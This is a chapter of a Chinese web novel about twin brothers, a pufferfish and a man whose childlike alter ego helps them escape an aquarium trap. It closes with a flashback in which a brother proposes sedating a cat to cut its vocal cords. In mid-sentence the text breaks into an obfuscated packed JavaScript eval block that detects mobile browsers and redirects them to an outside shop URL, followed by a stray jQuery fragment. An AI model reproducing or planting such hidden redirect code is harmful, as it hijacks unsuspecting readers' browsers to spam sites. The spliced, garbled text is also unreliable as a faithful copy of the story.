关键时刻,“弗恩”跑出来,被按住的男人从声音到眼神再到微表情都变了。
“求求你们,维克多要是死,我也活不成!呜呜呜,可是我还想活啊……”
“我为什么要被困在这个身体里受牵连呜呜,我只是个喜欢软糖的小孩哥!我什么都没做呜哇哇……”
维克多趴在地上,拼命用头撞地,并且直接哭起来,眼泪很快流成一滩。
顾清釉掐掐眉心,怎么会是这个走向……
顾清釉朝弟弟那边艰难道:“小瓷,要不你哄哄他。”
顾清瓷:?
顾清釉提示:“噗~。o O。”
顾清瓷头上飘过黑线,“哥 ,你也可以好不好……”
顾清釉噘嘴:“我又没在水里。”
“好了好了,给你这个。”顾清釉实在没办法,从衣兜里拿出几颗软糖放进弗恩口中。
弗恩:“(嚼嚼嚼)你原来,(嚼嚼嚼)也随身,(嚼嚼嚼)带这种,(嚼嚼嚼)软糖呀?”
顾清釉:“原本就是你的,我吃了亿点,味道还不错,只剩这么多了。”
弗恩:“(嚼嚼嚼)呜哇哇!(嚼嚼嚼)你怎么,(嚼嚼嚼)偷吃小孩的糖——嗝。”
弗恩哭起来声音尖锐刺耳。
顾清釉戳戳弗恩的脑袋,“我光明正大吃的,不叫偷。”
顾清瓷用食指敲了敲鱼缸玻璃。
【顾清瓷:哥,你别把我忘了。】
顾清釉轻咳,厉声训斥:“快说!鱼缸上如何打开!”
弗恩撇撇嘴,“操作面板的按钮,第二排从左边数第四个红色的。”
玻璃缸安装好之后试运行,维克多操作时,弗恩偷偷观察过。
顾清釉根据弗恩说的按下红色按键,鱼缸上方高压电防护网啪得断掉,与此同时,角落某个面板弹开。
弗恩蛄蛹着爬起来,仰着脸朝另一个蓝色按钮:“按这个是放水的!”
顾清釉按下去,展示缸中的水匀速抽走。
河豚慌了:“喂!给我留点啊!”
顾清瓷的鱼尾褪去,逐渐露出双腿。他用手抓起河豚,朝出口扔出去。
河豚:wcnm——
啪叽一声,落在顾清釉手里的迷你便携水族箱中。
河豚:“等等,这里怎么会有水族箱?!还、还有玩具……”
弗恩骄傲地说:“因为是我和维克多共同拥有的玩具房呀。”
顾清瓷从鱼缸爬出去,稳稳落在地上。
由于维克多每个月都会来山洞实验待几天,因此专门设立了他的卧房。
在弗恩的提示下,顾清釉顺利去卧房拿到维克多的衣服和鞋袜,让弟弟穿。
弗恩可怜兮兮:“现在能放过我么?”
顾清釉解开弗恩双手,但是枪始终抵在弗恩后腰上。
“可以是可以,有个条件。你必须压制住维克多的人格,直到他也愿意配合我们。”
弗恩泪眼汪汪瞧着顾清釉,让顾清釉觉得十分别扭。
穿着名贵西装的总裁,两鬓灰白,神情天真无邪中带着委屈。
弗恩:“可是,可是维克多很凶!他会骂我的!”
顾清釉手中的枪上了膛,弗恩明白是什么意思,强烈的求生欲让他牢牢霸占这具身体,生怕一不留神就把维克多放出来惹怒对方。
“呜呜呜好的,我尽量试试!”
弗恩说完下线了,整个身躯软绵绵往后倒去。
顾清瓷身脚一勾带过椅子。
弗恩靠着椅子昏睡,胳膊时不时抽搐。
忽然他爆喝,扬手狠狠打了自己一耳光——
“你居然答应跟他们合作!你这无知的小丑!”
不知弗恩跟维克多说了什么,维克多火冒三丈。
弗恩:“可是不配合的话,我们就没命了呀……”
维克多:“堂堂圣格雷尔的掌舵人,竟然如此被人玩弄!我要报仇!”
弗恩:“先活命吧,哥哥不是说过要学会装可怜……”
维克多:“你听那个妖怪的还是听我的!?”
弗恩辩解:“当然是听你的,你就是我,我就是你……等等,既然我们是同一个人,你为什么不能听我的?”
维克多又甩自己两个耳光,同时发出哀嚎。
双生子&豚豚:……
要不要对自己这么狠。
虽然弗恩在跟维克多对话,但全程都是那具身体自言自语,用不同声音和面部表情做区分。
旁人看来,场景无比诡异。
弗恩依次掰开三根手指,稚气道:“你讨厌他,我讨厌他,他也讨厌他。”
“他是我们共同的敌人,而这位顾先生比你厉害,比你聪明。我相信他会找到更适合折磨阿尔布的办法。”
弗恩说完,陷入第二次昏睡。
河豚在迷你水族箱中游来游去,看起来十分焦虑。
“我,去。他这么搞,身体不会出什么问题吧……”
“如果一直不清醒,要不要打急救电话?”
顾清瓷道:“应该还是在和维克多分析跟我们合作的利弊,对了,你怎么又双被抓到?”
河豚鼓了鼓肚子,愠怒道:“我跟着丽贝卡来浅水区玩,结果还是不小心被渔网抓走。天杀的,我简直运气差到家!”
顾清釉安慰:“你遇上我弟弟,运气并不差。换成别人,被做成汤也说不定。”
他用手机给欧时打了个电话,让他跟丽贝卡说,别在人鱼之境外面等豚豚了,直接回家。
顾清瓷忽然想到那天在酒店的河豚汤,鲜美无比,回味清香,忍不住舔舔唇。
如果有机会的话,好想再喝一次。
河豚原本有些害怕顾清瓷,但两次都被他解救,忽然对顾清瓷生出亲近和好感。
河豚眼睛弯弯,咧着嘴朝顾清瓷那边笑。
“瓷大大是我的救命恩人,多奇妙的缘分呐!”
弗恩醒来,正好跟河豚对视。
弗恩惊恐地缩在顾清釉身后,紧紧抓着顾清釉的手,尖叫。
“天呐!你是妖怪吗?为什么有眼皮!鱼通常都是没有眼皮的!”
河豚“噗~”一声吐了弗恩满脸水,破口大骂。
“死小孩胡说八道些什么!我只是眼睛周围有许多皮皱,通过调动皮皱改变眼睛形状!”
顾清瓷上前拽开弗恩的手,“维克多同意了?”
虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930809|135749||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说“弗恩”人格只有五岁,但到底是维克多的外表,这么个老男人缠着哥哥,他浑身都不舒服。
弗恩点点头,“有需要我会放他出来。现在做什么呢?”
顾清釉:“等待。”
等待滩涂鱼怪2.0完全成熟,就可以收割一波积分。
维克多适时上线,其实他属于半自愿半被胁迫,他没想到柔弱的弗恩居然有这么强的求生欲。
维克多冷着脸道:“明天就可以发育成熟了。”
顾清瓷兴奋地搓手,“今晚养精蓄锐,明天大干一场。”
弗恩:“干一场?干什么?怎么干?”
河豚见过双生子们杀鱼怪时血腥的场景:“大人的事情小孩子不要多嘴,为你好。”
弗恩:“切,什么为我好。拜托,别用这种语气和我讲话,你又不是大人,你只是个会翻肚皮的小胖子。”
“小胖子?!”河豚直接破防,肚子快要气炸,上面的刺支棱起来。
现在的孩子太过早熟,嘴巴叭叭起来跟刀子似的不饶人。
“你也太没礼貌了,看我不狠狠教训你。瓷大大,把水族箱的盖子打开,我要扎这个臭小孩!”
顾清瓷揉揉太阳穴,将脑袋靠在哥哥肩膀上,他很久没有跟哥哥贴贴了,这次要贴个够。
“好吵。”
顾清釉微笑着,眼睛中寒光闪过:“你们两个都安静点。”
弗恩很会看眼色,立马把嘴闭上。
沉默几分钟之后,维克多忽然说:“反正闲着没事做,不如我讲讲小时候的事情,让你们直观了解一下我和阿尔布?”
顾清釉道:“请讲。”
在低沉浑厚的男声中,时间回到五十年前——
维克多出生在海边城市,自他有记忆起,哥哥就手脚萎缩坐着轮椅。
大儿子身体残疾,俾斯麦夫妇自然将更多的期待放在小儿子身上。
维克多前几年过得特别幸福,父母的关爱和娇宠让他觉得自己是世界上最幸运的小孩。
直到五岁那年。
妈妈送给他一只猫做生日礼物,由于猫咪来到新环境还不适应,不停地叫。
小维克多抚着猫咪的脑袋,怎么都哄不好这位新朋友。
十岁的阿尔布用手控制着电动轮椅过来,对弟弟道:“猫叫是因为声带痛,我有个办法可以治好它。”
“真的吗?”维克多惊喜问。
阿尔布道:“把声带割断,它就不叫了。”
维克多犹豫着:“可是,割的时候猫咪本身会疼会挣扎啊!”
阿尔布笑得纯真无比,虽然他身体残疾,但日光洒在他身上,有种圣洁的光环。
“我这有两粒药,有麻醉作用。你拌在猫粮中给它喂下去,割的时候就不会疼。还记得我当时从手术室推出来的样子吗?当时麻醉剂尚未代谢,我一点都没感觉。还记得你拔龋齿时的麻醉针吗?你有感觉到疼吗?”
维克多陷入沉思,摇摇头。
阿尔布继续说:“要不是手术,我根本无法坐起来。维克多 ,你要相信哥哥,手术是治疗疾病最有效的办法。”
“喂下这两粒药,只需刀子轻轻在它喉咙划一刀,猫就得到解脱。”